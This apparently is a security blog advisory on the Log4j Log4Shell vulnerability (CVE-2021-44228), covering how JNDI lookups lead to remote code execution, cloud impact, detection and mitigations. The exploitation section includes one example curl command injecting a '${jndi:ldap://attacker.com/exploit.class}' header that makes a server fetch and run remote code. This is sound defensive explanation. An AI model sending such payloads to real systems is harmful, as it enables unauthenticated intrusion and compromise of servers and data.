Security Guidance for Apache Log4j (CVE-2021–44228)

Introduction

This blog post describes the recently discovered vulnerability in the Apache Log4j open-source Java package default logging package for many services and applications. It is very widely used in both code developed directly and third-party products. The vulnerability arises because the Log4j package mixes command and data resulting in execution of strings that are interpreted as a command.

The impacted versions of Log4j are 2.0 to 2.14.1.

Successful exploitation allows for a very simple remote command execution without requiring any authentication over the Internet, resulting in a complete compromise of data and system confidentiality, integrity and availability — giving this vulnerability a CVSS score of 10 (Critical).

What is Apache Log4j?

Log4j is a Java based logging utility. It is a part of the Apache Logging Services which is a project of the Apache Software Foundation. This utility is used to log error and debug messages in hundreds of millions of software across the world and is the default logging package in a lot of popular SaaS and online services including Amazon, Apple iCloud, Twitter, Cisco, Cloudflare etc.

The current version of Log4j is version 2 which has significant improvements over version 1 (no longer supported).

What is the vulnerability with Log4j that has been assigned CVE-2021–44228?

Log4j supports the JNDI (Java Naming and Directory Interface) which is a directory service that allows data to be fetched through a service provider. One of the service providers that can be used to pull data from is LDAP services.

Log4j 2 has the ability to perform property substitution for specially crafted strings. This allows for a string of the form ${prefix:name} to be substituted based on specific Lookups. For example, ${java:os} expands to the operating system version like Windows 7 6.1 Service Pack 1, architecture: amd64–64.

This property substitution combined with the ability of Log4j to use JNDI to fetch data from LDAP sources causes a weakness where a specially crafted property string can be sent to a Java server which gets logged post expansion. When a JNDI prefix is passed with a reference to an LDAP server, the property expansion fetches the data from the LDAP server and parses the response. If the response of the LDAP server contains an HTTP request to a Java class, the class is fetched and executed on the server.

This vulnerability has been assigned CVE-2021–44228 with a CVSS score of 10 (Critical).

The vulnerability can be exploited remotely, without user interaction, over the Internet and any authentication resulting in the Critical severity. The vulnerability is being actively exploited and has already resulted in the creation of various post exploitation variations including cryptomining and malware serving exploits.

The most common exploitation scenario for this vulnerability uses a two-step process

1. A HTTP request is sent to the application server running the vulnerable version of log4j, with the initial exploit stage via a header value. A cURL command to exploit example.com would like below:
   curl example.com -H ‘X-Api-Version: ${jndi:ldap://attacker.com/exploit.class}’
   ‍
2. The property substitution and JNDI lookup causes the exploit.class to be fetched and executed in memory. The exploit.class is the actual malicious payload that can be programmed to execute specific instructions.

What is the impact if this vulnerability is exploited?

Successful exploitation of the vulnerability allows an attacker to execute commands on the server without authentication. There are several exploit codes available that can be used to execute commands remotely, leak environment variables and gain access to servers and data.

Attackers can use the remote code execution capabilities to gain shell access to the server and then use the shell access to access source code, environment variables containing potentially sensitive tokens and credentials, reach internal networks and use the compromised server to hack into other servers or serve malware to unsuspecting users.

I’m on the cloud, can I still be impacted?

Yes. The vulnerability was detected in one of the most common packages in use in Java applications. Applications running on the cloud, including SaaS services that are built using Java as their platform backend are vulnerable if using the vulnerable logging component.

If you are running applications on the cloud, the impact could be significantly higher owing to how the server running the vulnerable package is configured. A cloud provider like AWS or GCP allows credentials to be made available through an instance metadata endpoint — http://169.254.169.254. The instance metadata endpoint can be used to generate a temporary token that can then be used to access other services within the cloud. This would allow an attacker to move laterally to another service and access additional resources, for example an S3 bucket.

Additionally, if there are environment variables in use on the server that contain cloud credentials, these could also be leaked to gain access to other cloud resources.

How do I detect if I’m vulnerable?

The vulnerability affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1. It is patched in 2.15.0.

A quick way to detect if you have a vulnerable version of the package is to look at dependencies within your projects and identify the version of log4j from there. This is usually in a pom.xml file.

Additionally, you can search the file system for the presence of JAR files log4j-core-*.jar to determine if the vulnerable version is in use. The following find command would work

sudo find / -iname log4j-core*.jar

Apart from affecting server-side components, any applications like fat clients, Java desktop applications, mobile apps that use log4j and applications written in Java derivatives like Jython and JRuby and system libraries which work as logging wrappers could also be affected if using the vulnerable component.

How can I protect myself?

Remediation and mitigations need to use the defence in depth approach. There are several approaches that need to be taken to ensure all attack vectors are covered and additional security is added to the applications.

1. This vulnerability was remediated in log4j v2.15.0. Upgrading the package to the fixed version remediates this issue. You can download the latest version from https://logging.apache.org/log4j/2.x/download.html
2. In previous releases (>=2.10) this behavior can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or by removing the JndiLookup class from the vulnerable JAR files. For example the following command would delete the JndiLookup class from all the log4j-core-*.jar files in the current location

zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

1. If you are on log4j v1, then note that version 1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and older vulnerabilities which is why it is recommended to migrate to Log4J 2.15.0 where possible.
2. If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true command line option is passed to the JVM when restarting to make the vulnerability unexploitable in its current form. For example — java -Dlog4j2.formatMsgNoLookups=true -jar appmyapp.jar
3. Setup Security Groups and firewall rules to prevent outbound LDAP and RMI traffic. Additionally, allow HTTP traffic to only known safe hosts on the Internet.
4. If using authentication scopes or instance profiles on compute instances, ensure the privileges assigned to the role are absolute minimal. This would prevent a compromise of other cloud services.
5. Most major cloud providers have added additional checks to detect and block exploit attempts at the application perimeter via their Web Application Firewall services. Use these to detect and defeat exploit attempts.

References and Advisories

● CVE-2021–44228 Announcement — https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

● Apache Log4j Security Advisory — https://logging.apache.org/log4j/2.x/security.html

● Java Log4j lookups — https://logging.apache.org/log4j/2.x/manual/lookups.html

● Log4j Attack surface — https://github.com/YfryTchsGD/Log4jAttackSurface

● Example vulnerable app, with complete exploit instructions — https://github.com/christophetd/log4shell-vulnerable-app

● Log4j2 Vulnerability “Log4Shell” — https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/

● Cloudflare Blog — CVE-2021–44228 — Log4j RCE 0-day mitigation — https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/

● Microsoft — Guidance for preventing, detecting, and hunting for CVE-2021–44228 Log4j 2 exploitation (Windows specifics) — https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

This post was prepared with the awesome technical insight from our colleagues at Kloudle Inc. https://kloudle.com/

‍